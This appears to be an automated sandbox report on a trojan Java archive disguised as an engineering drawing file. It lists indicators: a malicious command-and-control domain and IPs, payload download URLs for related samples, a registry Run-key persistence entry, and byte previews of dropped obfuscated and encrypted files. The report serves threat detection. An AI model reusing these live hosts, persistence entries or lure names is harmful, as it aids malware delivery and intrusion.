http://null.oracle.com/	java.exe, 00000004.00000002.309717316.0000000009A48000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.313270467.0000000014A0D000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.599760962.0000000015039000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000003.317747599.000000001502A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.584855664.000000000A5B5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577933945.0000000004D75000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000003.343309585.0000000014CD2000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000003.343460899.0000000014CD9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.585176988.000000000A1B5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000003.342983483.0000000014CA1000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.598343339.0000000014CF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certplus.com/CRL/class2.crlc	javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.quovadisglobal.com/cps#N	java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certplus.com/CRL/class2.crlk	java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.quovadisglobal.com/cps	java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cps.chambersign.org/cps/chambersroot.html	java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.certplus.com/CRL/class3P.crl	java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.quovadis.bm#	java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.securetrust.com/STCA.crl	java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://repository.swisssign.com/#	javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.xrampsecurity.com/XGCA.crl0	java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://null.oracle.com/k	javaw.exe, 00000008.00000002.577733501.0000000004968000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.quovadis.bm	javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.quovadis.bm0	java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.chambersign.org/chambersroot.crl	java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://policy.camerfirma.coms	java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
194.5.98.141	bestsuccess.ddns.net	Netherlands		208476	DANILENKODE	true
141.8.192.151	f0719949.xsph.ru	Russian Federation		35278	SPRINTHOSTRU	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	705884
Start date and time:	2022-09-20 03:50:03 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	DWG Material, Standard BS 4360 GR. 40A43A.jar
Cookbook file name:	defaultwindowsfilecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Without Tracing
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.troj.expl.winJAR@14/8@6/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 83% Number of executed functions: 28 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .jar

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, login.live.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Execution Graph export aborted for target java.exe, PID 1396 because it is empty
Execution Graph export aborted for target javaw.exe, PID 1308 because there are no executed function
Execution Graph export aborted for target javaw.exe, PID 2972 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:51:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run dropbox C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw -jar "C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar"
03:51:08	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run dropbox C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw -jar "C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
194.5.98.141	DWG Material, Standard BS 4360 GR. 40A43A.jar	Get hash	malicious	Browse
	Payment Notification.exe	Get hash	malicious	Browse
	Enquiry- 0076HGF21.exe	Get hash	malicious	Browse
141.8.192.151	DWG Material, Standard BS 4360 GR. 40A43A.jar	Get hash	malicious	Browse	f0719949.xsph.ru/dropbox.exe
	dropbox.exe	Get hash	malicious	Browse	f0719949.xsph.ru/Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh
	DWG spare parts 455RTMGF Model.exe	Get hash	malicious	Browse	f0719949.xsph.ru/Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh
	NotaFiscal.msi	Get hash	malicious	Browse	f0717271.xsph.ru/serv.php
	Revised sales contract for Crosswear.rtf	Get hash	malicious	Browse	f0705964.xsph.ru/mum.exe
	cxbqjWw79R.exe	Get hash	malicious	Browse	f0702521.xsph.ru/cmd.php?hwid=computer%5Cuser&gpuname=88P9A4OS;%20&mining=1&active=XMR
	IVBPFW.exe	Get hash	malicious	Browse	f0702055.xsph.ru/ng.txt
	NOPL-25-JULY-001.doc	Get hash	malicious	Browse	f0699262.xsph.ru/letter.exe
	300618c6e81ee458a3aba4188f0f24937f62974991428.exe	Get hash	malicious	Browse	f0699616.xsph.ru/RATTCRYPT.exe
	http://f0688845.xsph.ru/index.php	Get hash	malicious	Browse	f0688845.xsph.ru/favicon.ico
	18561381.exe	Get hash	malicious	Browse	f0645594.xsph.ru/build.exe
	bd250e1cb4f8d322a5464549dc067ac7bcbecfc2d4fca.exe	Get hash	malicious	Browse	f0641877.xsph.ru/lam1di.exe
	9WPRwZwY47.exe	Get hash	malicious	Browse	f0624763.xsph.ru/MicrosoftApi.exe
	2a09Y5NsoG.exe	Get hash	malicious	Browse	f0611101.xsph.ru/1.exe
	NFe_09112021123.msi	Get hash	malicious	Browse	f0589562.xsph.ru//arqvs//zlibai.dll
	VapeV4Installer (2).exe	Get hash	malicious	Browse	f0587499.xsph.ru/dop.exe
	7ofFMoirr5.exe	Get hash	malicious	Browse	f0589056.xsph.ru/bfs.exe
	SecuriteInfo.com.W32.AIDetect.malware1.10225.exe	Get hash	malicious	Browse	f0589056.xsph.ru/bfs.exe
	6WdUMjf00o.exe	Get hash	malicious	Browse	f0565382.xsph.ru/SteamWebHelper.exe
	Fortnite hack.exe	Get hash	malicious	Browse	f0579030.xsph.ru/Miner.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
bestsuccess.ddns.net	dropbox.exe	Get hash	malicious	Browse	194.5.98.141
	DWG spare parts 455RTMGF Model.exe	Get hash	malicious	Browse	79.134.225.115
	SecuriteInfo.com.Variant.Jaik.95298.16760.17387.exe	Get hash	malicious	Browse	79.134.225.115
	order confirmation reference no. FXEPS6S08102.exe	Get hash	malicious	Browse	80.85.153.132
	Aramid, P84, PTFE, PSA Spareparts.exe	Get hash	malicious	Browse	80.85.153.132
	VoRTaSs6hl.exe	Get hash	malicious	Browse	87.251.79.109
	Payment Advice - Advice Ref[GLV404865688] Pr.exe	Get hash	malicious	Browse	87.251.79.109
	Payment Advice - Advice Ref[GLV404865688] Pr.exe	Get hash	malicious	Browse	87.251.79.109
	fax45367876545678.exe	Get hash	malicious	Browse	185.118.167.229
	RFQ Material Standard BS 4360 GR. 40A43A.exe	Get hash	malicious	Browse	185.118.167.229
	order updated Dwg for new order-100920-0086.exe	Get hash	malicious	Browse	185.118.165.47
	Invoice No. 26647.exe	Get hash	malicious	Browse	185.118.165.47
	RFQ New Order Quote.exe	Get hash	malicious	Browse	185.165.153.108
	Quotation reff 1422019WA IQ-0157-R1.exe	Get hash	malicious	Browse	185.165.153.108
	Quotation reff 1422019WA IQ-0157-R1.exe	Get hash	malicious	Browse	185.165.153.108
	RFQ Material Standard BS 4360 GR. 40A43A.exe	Get hash	malicious	Browse	79.134.225.95
	order updated Dwg for new order-100920-0086.exe	Get hash	malicious	Browse	79.134.225.95
	Paymment for invoice 41319.exe	Get hash	malicious	Browse	79.134.225.95
	Signed sales contract total volume is 1757 m3.exe	Get hash	malicious	Browse	79.134.225.95
f0719949.xsph.ru	DWG Material, Standard BS 4360 GR. 40A43A.jar	Get hash	malicious	Browse	141.8.192.151
	dropbox.exe	Get hash	malicious	Browse	141.8.192.151
	DWG spare parts 455RTMGF Model.exe	Get hash	malicious	Browse	141.8.192.151

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DANILENKODE	DWG Material, Standard BS 4360 GR. 40A43A.jar	Get hash	malicious	Browse	194.5.98.141
	utrstartupbuild.jar	Get hash	malicious	Browse	194.5.98.195
	utrstartupbuild.jar	Get hash	malicious	Browse	194.5.98.195
	SecuriteInfo.com.Win32.Trojan-gen.31084.exe	Get hash	malicious	Browse	194.5.98.244
	SecuriteInfo.com.Win32.TrojanX-gen.4549.exe	Get hash	malicious	Browse	194.5.98.244
	8ALy9cD6rG.exe	Get hash	malicious	Browse	194.5.98.17
	Numero de proceso. 0091-002022-45125455775698.js	Get hash	malicious	Browse	194.5.98.252
	SecuriteInfo.com.Win32.DropperX-gen.3795.exe	Get hash	malicious	Browse	194.5.98.244
	SecuriteInfo.com.IL.Trojan.MSILZilla.22441.6964.22253.exe	Get hash	malicious	Browse	194.5.97.229
	SecuriteInfo.com.IL.Trojan.MSILZilla.22441.31968.10217.exe	Get hash	malicious	Browse	194.5.97.229
	SecuriteInfo.com.Win32.PWSX-gen.21616.exe	Get hash	malicious	Browse	194.5.98.195
	807364412 - detailedManifest#U00b7pdf.exe	Get hash	malicious	Browse	194.5.97.143
	SecuriteInfo.com.Trojan.GenericKD.61834999.19780.11498.exe	Get hash	malicious	Browse	194.5.98.244
	TaxInvoice.exe	Get hash	malicious	Browse	194.5.97.4
	XEROX_SCAN070822.exe	Get hash	malicious	Browse	194.5.97.4
	PROOF OF PAYMENT.exe	Get hash	malicious	Browse	194.5.98.222
	invoice.exe	Get hash	malicious	Browse	194.5.97.16
	REQUEST FOR BID 06-09-2022#U00b7pdf.exe	Get hash	malicious	Browse	194.5.97.143
	SecuriteInfo.com.Win32.PWSX-gen.12287.exe	Get hash	malicious	Browse	194.5.98.244
	JUZGADO SEGUNDO PROMISUCO MUNICIPAL 4545664-55525985-65444586.pdf.js	Get hash	malicious	Browse	194.5.98.48
SPRINTHOSTRU	DWG Material, Standard BS 4360 GR. 40A43A.jar	Get hash	malicious	Browse	141.8.192.151
	https://bit.ly/3BqjYMh	Get hash	malicious	Browse	176.119.147.60
	dropbox.exe	Get hash	malicious	Browse	141.8.192.151
	de2912f0955e066d268cb9ea411c31d49878d94be3ce4.exe	Get hash	malicious	Browse	185.251.88.158
	A6C00A6F2299FE0E31028826DD8CFBADD30CDCDA50345.exe	Get hash	malicious	Browse	141.8.197.42
	DWG spare parts 455RTMGF Model.exe	Get hash	malicious	Browse	141.8.192.151
	xvrJGMRVf7.exe	Get hash	malicious	Browse	141.8.192.26
	xvrJGMRVf7.exe	Get hash	malicious	Browse	141.8.192.26
	NotaFiscal.msi	Get hash	malicious	Browse	141.8.192.151
	file.exe	Get hash	malicious	Browse	176.119.147.44
	file.exe	Get hash	malicious	Browse	176.119.147.44
	file.exe	Get hash	malicious	Browse	176.119.147.44
	poGbuW7uon.exe	Get hash	malicious	Browse	141.8.192.151
	poGbuW7uon.exe	Get hash	malicious	Browse	141.8.192.151
	YXmhqlbn5I.exe	Get hash	malicious	Browse	185.251.88.208
	file.exe	Get hash	malicious	Browse	185.251.88.208
	cGwY6YCF2j.exe	Get hash	malicious	Browse	185.251.88.208
	L2li2Zt2oT.exe	Get hash	malicious	Browse	185.251.88.208
	file.exe	Get hash	malicious	Browse	185.251.88.208
	file.exe	Get hash	malicious	Browse	185.251.88.208

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Oracle\Java\.oracle_jre_usage\cce3fe3b0d8d83e2.timestamp

Download File

Process:	C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.740980699120398
Encrypted:	false
SSDEEP:	3:oFj4I5vpN6yUfle7ovn:oJ5X6yIc7yn
MD5:	62FC779B39E8458B7DB00E87571A6560
SHA1:	4B5D07A1F31C7B3CD09F44744032E49F7AB2C340
SHA-256:	203434499AA058113544DD75929DAAF24B6AE7BC5BD0202B2B1532975BCC34CC
SHA-512:	E0C55D79E67745E09EA9C5D04BD31DD2861C5E6164C11991D607E0A5F2BBF6E5DC326AFB02094450EAF34FB9BFFD3187FD6CDC45F606013339ED912F8323B2CB
Malicious:	false
Preview:	C:\Program Files (x86)\Java\jre1.8.0_211..1663638677777..

C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar

Download File

Process:	C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	53002
Entropy (8bit):	7.922207682883181
Encrypted:	false
SSDEEP:	1536:OLBYkyvvGIShafWUnK/UOl/MVPzihKv4f0:uyv+IShFRS6f0
MD5:	17DC0ABE8689B1C96905FA87731F24A3
SHA1:	4203B68E0A1155F09ED41A71DC3EFC112643E6DF
SHA-256:	67E908BF3241944DD8F1AD25CA17C8D12B095D0DE3F701B825BA3B021AD36E58
SHA-512:	DFA305F069F7820E25270B36B6CF59EED92ACC0B4EE143D7DCF1275CAA27ECA1B4D1C98F89604592E66BE04AEB578F0DAC22C53EB2B61661786DF9880883451E
Malicious:	false
Preview:	PK........`.KA.p.^............META-INF/MANIFEST.MFm...0...=R..?..k6`.D+..nTCC..9...'t`..t:=].....;.. .a..YG.......kZ....'[cM..<.^g7...4...l.=R"....,.......=).PG..1.X.]7Y.j.>......^..Z..PK........`.KA.8S^............n.class.U[w.U..Ns9.t...BS.A.Lz!.....".`....i2i.....)...O.o}.%I.]..k...7.bA.;i .Qy.of.o.}...Yg.=..7..q+...>.....$.K.$.H8..DY.K......$V%.J..#.S.......!..p.a\C..j.8.!...'.F..ih.;.4.exOC.^gx.aR..W5D.&....1..!.f.'.&4..[.:9...u.#..!...,.E....g..`..Q.%..l....6.:.........u\|..l~.i.? ...>.q.......q...D.@.HN..5..es.L.nj.){jVU,..@o...T+..J..."..,....v,...IO..c..:c..h..c.7....S......~..Xf....F....e.a.w.ac.wg.g..4w..O......2...:.5.F..>i;.:M..".[.......@tV....f9k..(04.=;<B.<.2.e.).3_rW....<D....\|.x.X.V..b..j.B N.V.(o..o...+...Uh.@...Ib.x..}~2_...i...'..V.O...........Lpv.j..K.q=.T..#+.....Nw..fk..d}.OV.]J.N..yQ.t.5.+M=...u.ejW.%.V.<i.lt..W.v...x..b.3ncL$.2+...).9..j.<+S$=...q..=...6....K....G..........5........w.}...\|.L#P\.K3L.uql..t...&b9...H.V.....*..9RE...

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\83aa4cc77f591dfc2374580bbd95f6ba_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Download File

Process:	C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe
File Type:	data
Category:	dropped
Size (bytes):	45
Entropy (8bit):	0.9111711733157262
Encrypted:	false
SSDEEP:	3:/lwlt7n:WNn
MD5:	C8366AE350E7019AEFC9D1E6E6A498C6
SHA1:	5731D8A3E6568A5F2DFBBC87E3DB9637DF280B61
SHA-256:	11E6ACA8E682C046C83B721EEB5C72C5EF03CB5936C60DF6F4993511DDC61238
SHA-512:	33C980D5A638BFC791DE291EBF4B6D263B384247AB27F261A54025108F2F85374B579A026E545F81395736DD40FA4696F2163CA17640DD47F1C42BC9971B18CD
Malicious:	false
Preview:	........................................J2SE.

C:\jar\META-INF\MANIFEST.MF

Download File

Process:	C:\Windows\System32\7za.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.349341698990738
Encrypted:	false
SSDEEP:	3:ZLCAWIzBEB1LbPa:1KItcbPa
MD5:	4C3DC3E8219E6C399F79EADE07E2EBD3
SHA1:	A8EDB331DE6B230AD67A2FAEA5503F61DA1A6C9B
SHA-256:	63DB2C8B87EA91E31D60A54F7026159B035CB4796C052B9C32251F64B3AA7A30
SHA-512:	EBE1737AF8DBCA28BE6CD8C253C64E28DCBCCBE6B6362F1D2CDF2C458933B01798786C19FB7978872DF0875057D6880BDC5FC155683F0B9E7528CCD6F2E0D79F
Malicious:	false
Preview:	Manifest-Version: 1.0..Class-Path: ...Main-Class: de....

C:\jar\a.class

Download File

Process:	C:\Windows\System32\7za.exe
File Type:	compiled Java class data, version 50.0 (Java 1.6)
Category:	dropped
Size (bytes):	13335
Entropy (8bit):	5.817824806088873
Encrypted:	false
SSDEEP:	192:7DhELimBD8RcW9tPQTX7myVhTGkGpn64it5EOd7d32dBShco72j:vh9mBintP8X7mcSkGpnstFafe7o
MD5:	42BA24D0E7C71337818F97982F3BE695
SHA1:	AD8BA408F7461F2277BCD9C18405E9C45CBA5EA3
SHA-256:	8501453605D3AA80855BC2E83A3BD4876C838058AC4F24E10FF4BEE8D0A2C68E
SHA-512:	BF1FFC24412424DC1468E0A903B6E386F3EA0A7156B418D73A8EC93395D608886921A3594A57F169B893DDD98751AF38F33B69CC029BCBF20E08E1B07DDE1F39
Malicious:	false
Preview:	.......2.....a......java/lang/Object......I...j...Ljava/lang/reflect/Method;...b...Ljava/util/prefs/Preferences;...e...d...c...i...g...l...[Ljava/lang/String;...h...f...ll...[I...Ljava/lang/Class;...lIlIl...(II)Z...llllllIllIIlIlI...F...llllllIllIIlIll...Ljava/lang/String;..3(Ljava/util/prefs/Preferences;ILjava/lang/String;)I.......................java/lang/Integer..!...<init>...(I)V..#.$..".%...(Ljava/lang/String;)[B....'....(...java/lang/reflect/Method..*...invoke..9(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;..,.-..+.....intValue...()I..0.1..".2..B(Ljava/util/prefs/Preferences;ILjava/lang/String;)Ljava/util/List;...java/util/ArrayList..5...()V..#.7..6.8.........:......lIIlI...(I)Z..=.>....?.........A.....C...java/lang/String..E...length..G.1..F.H.........J...[B..L...([B)V..#.N..F.O...trim...()Ljava/lang/String;..Q.R..F.S...java/util/List..U...add...(Ljava/lang/Object;)Z..W.X..V.Y...lIlII..[......\.........^...lllllllIIIlIlll...lllllllIIIlIllI...B...lllllllIIIIllll...D..

C:\jar\de.class

Download File

Process:	C:\Windows\System32\7za.exe
File Type:	compiled Java class data, version 50.0 (Java 1.6)
Category:	dropped
Size (bytes):	18974
Entropy (8bit):	6.259589005459777
Encrypted:	false
SSDEEP:	384:YtJl6yjVOblTip6BaP6FYuAvrpz56BzhtlTbxDMq6vbsNa+PqNMtBa:uJl6ypObla6O6+9DvAItoNa+PqNMC
MD5:	454156C34183D1CA3EDA7DF17A4A56DD
SHA1:	0C4FA07E8429595739A31970E5D2BAADEF7E3695
SHA-256:	790EAF56211B9AE8524A97E1BE09AA2D5CAC705538012F7417497287CAF76EB5
SHA-512:	7095631DB70B7C28B79DA93CB6E36C67018895EB6595AA46123125B1DBD86E2632A460949FE9772E586F84F5AB628ED0B9C58DF78B052C9F2AB30FE4A95BBC76
Malicious:	false
Preview:	.......2.w...de......java/lang/Object......buf...[B...I...[Ljava/lang/String;...a..+Ljava/security/spec/AlgorithmParameterSpec;...lI...[I...llI...()V.............java/lang/String................dwEWBmc8BQw=......XdxeI.....8(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;.............Ne/6aeeAuhVsjmY6gVsTrA==......cNLNm............ ...lhVx4xOm3uk=.."...JWstw..$...EqcGPWyqdC8=..&...wDgRi..(...lII..*......+...NSFrJQA3Nw==..-...ZREKa../...EQcX..1...fnyQG..3...STI1IjJIPjsl..5...fZZQF..7...anmjWnuKHXAtFEza5J8Ozg==..9...ZMulQ..;..8Cvr//+ofA2p9/4IXzVfhXeVkxsJAXEq9wmYiRJXtI87N2COHTOs87g==..=...YBcyu..?...UwcqlgJVQ0aMc9vZxMkQtA==..A...AqbQE..C...Yw==..E...iGUrD..G...fso3HfnIFK8=..I...VsSFE..K...+BXZzh4TBvo=..M...FWVFD..O...NiceKDAjNg==..Q...WWnLQ..S...Ljp7LCksLA==..U...AIUBH..W...FT0q..Y...bTDdn..[...21U61Q3kVKo=..]...yKxRY.._...SCYICA==..a...fLizB..c...JiYM..e...KGoFW..g...3Wg+2hA91Z2aBTKqV6rlng==..i...pYRft..k..,8SvoRTMcYBIaK6DtzpwlidhyPZvRPlL8vn0Qt1/tTuc=..m...ZlHLz..o...qzZmMR/cMOM=..

C:\jar\enc.dat

Download File

Process:	C:\Windows\System32\7za.exe
File Type:	data
Category:	dropped
Size (bytes):	53008
Entropy (8bit):	7.996256868133698
Encrypted:	true
SSDEEP:	1536:VGPN+ZYhQeOgxHgqkwJy7+Xd/by6PYw1mc4RsDgT7jQb:VkN+ZYhQeRRxkwW+Xpbdmf6
MD5:	D63F9DB72F2A0A4B4644FE9E7E82054C
SHA1:	0E40BA0A0F48EC5CEF4D5EB989680073545A2443
SHA-256:	79EE8A6B6CF52E6BC5909B9385D9B441DFD4D1C003AEB6980E8484F7FC5064B8
SHA-512:	F6F2982CD70984DFB8E220A36E1C8AAA001E0FE8BCB50F05428BB2AD7AC1E29DC58F2797FC1B5DB147CCEF352297DA4C4319421B0236E6A7E63661FC9A53720F
Malicious:	false
Preview:	..j4.Y.H%........c........~F.....x...?..]?....H..I..D.^c.Z..7..........K.A..9..G;..E..u^..dSCu^.'..f.m$h..g..c...".....G.I.u.q..a\Y;R...e....4.Z:o..._S.Ju{.-.)..z..6..y./.@A...h.........Z.C.M...t(./j.v{j...#.I.'....I.@..:L....2.X5.ZvV.......~.<3.....uX}.S.wz.k.>[._.L.,.\..i...v)+h.9...n%.......t...b...Q[G...<.....dn.#g..+z':........n.......K...J7X...a....X..34........K.H.J.l...%Sb.z.B.\|C._)..f..CR..[....=md..Q{t..\.^...6...t'..I.NQ.s.q.K.`.m...h'2.R3'......RL{.F...+....e[kI~q.7....kg.\|.b.X..q~g.s.-W+Hb~...y.....V~......1...e..,...*....zmO..w...p..........)..@.....p.....i...s....#.a.?.H..}..S...Ga...TY....G....B'..... ..G ....R.#..G.Z...i...8a.1.&.\|n......}...f=...f..$..yP...XFy..&u .nh\.#..Z../.EKvgH,'.F...r.~............J..Q..).gB..i.>...=..Ny.'H....K.].....V..m..L.$..Fc..I.0U..{.....i..N....eM...P....k.P.^...E..,..B.,..K..u^A...lA.IF...K.O..%{.a.....II...H..U2..;.r..uU,.m..Fnz.S6.OqM...d.D....(....q.0m...gbK....<3ek.s.......

C:\jar\key.dat

Download File

Process:	C:\Windows\System32\7za.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	3.5035593637932285
Encrypted:	false
SSDEEP:	6:BSTWmqqoKy6Tn6RQmG+FVETdX0Kc41XvG+pFj/PM/srPS0iRX4+rhOHsKZ2U1dvD:BSTWVqoP4nabyWxE/brMePKRXuHsAdvD
MD5:	51E31343ACF679CFB46BFD8130C4EDB9
SHA1:	460E81F6B76A37EABAF1D116ACE9409912E43839
SHA-256:	BF353EC4BFFF3C5375CBB428DFAF088626D84D37C48CAE261EC0A836F81036BF
SHA-512:	B156AB0509DFA6E6FFE45CEF1AEA62A5FF35E645796B20958F90CDF4A971228945F47DF10D68725D67AB9877D13942A95D85F3442B7F486C17C6B9268BAFBF24
Malicious:	false
Preview:	AA6219A5.74656d70.64726f70626f78.66616c7365.66616c7365.4572726f723a20436f756c64206e6f742063726561746520746865204a617661205669727475616c204d616368696e652e0d0a4572726f723a204120666174616c20657863657074696f6e20686173206f636375727265642e2050726f6772616d2077696c6c20657869742e.4a617661205669727475616c204d616368696e65204c61756e63686572.0.66616c7365.10000.

Static File Info

General

File type:	Zip archive data, at least v2.0 to extract
Entropy (8bit):	7.99514368836437
TrID:	Java Archive (13504/1) 62.80% ZIP compressed archive (8000/1) 37.20%
File name:	DWG Material, Standard BS 4360 GR. 40A43A.jar
File size:	69077
MD5:	f5f4e477595a3a7070ee43f0e044b644
SHA1:	26ce44fe72446eda537519d3d93253232a8bddca
SHA256:	7cd39be56600bf17c8a7753c6be6d6aa91233294d1a3fe30afe2905adf1e286b
SHA512:	66dc09bc4466a06e75a81ca923d8350064b3aefb6156376f0522acde91cc26a1e35147cddb99d73d8c1efc0afb2d0ccfe5cbafc7a41a214cfe43e9f93e6586bb
SSDEEP:	1536:aAPCuOvLAGPN+ZYhQeOgxHgGkwJy7+Xd/by6TYw1mc4RsDgk7jQF:aAPSEkN+ZYhQeRRbkwW+XpbdqfT
TLSH:	CE631221EB6A7B96C6020D306B63149DDE8E388BC619614F1B5D98CF77B204373E5C75
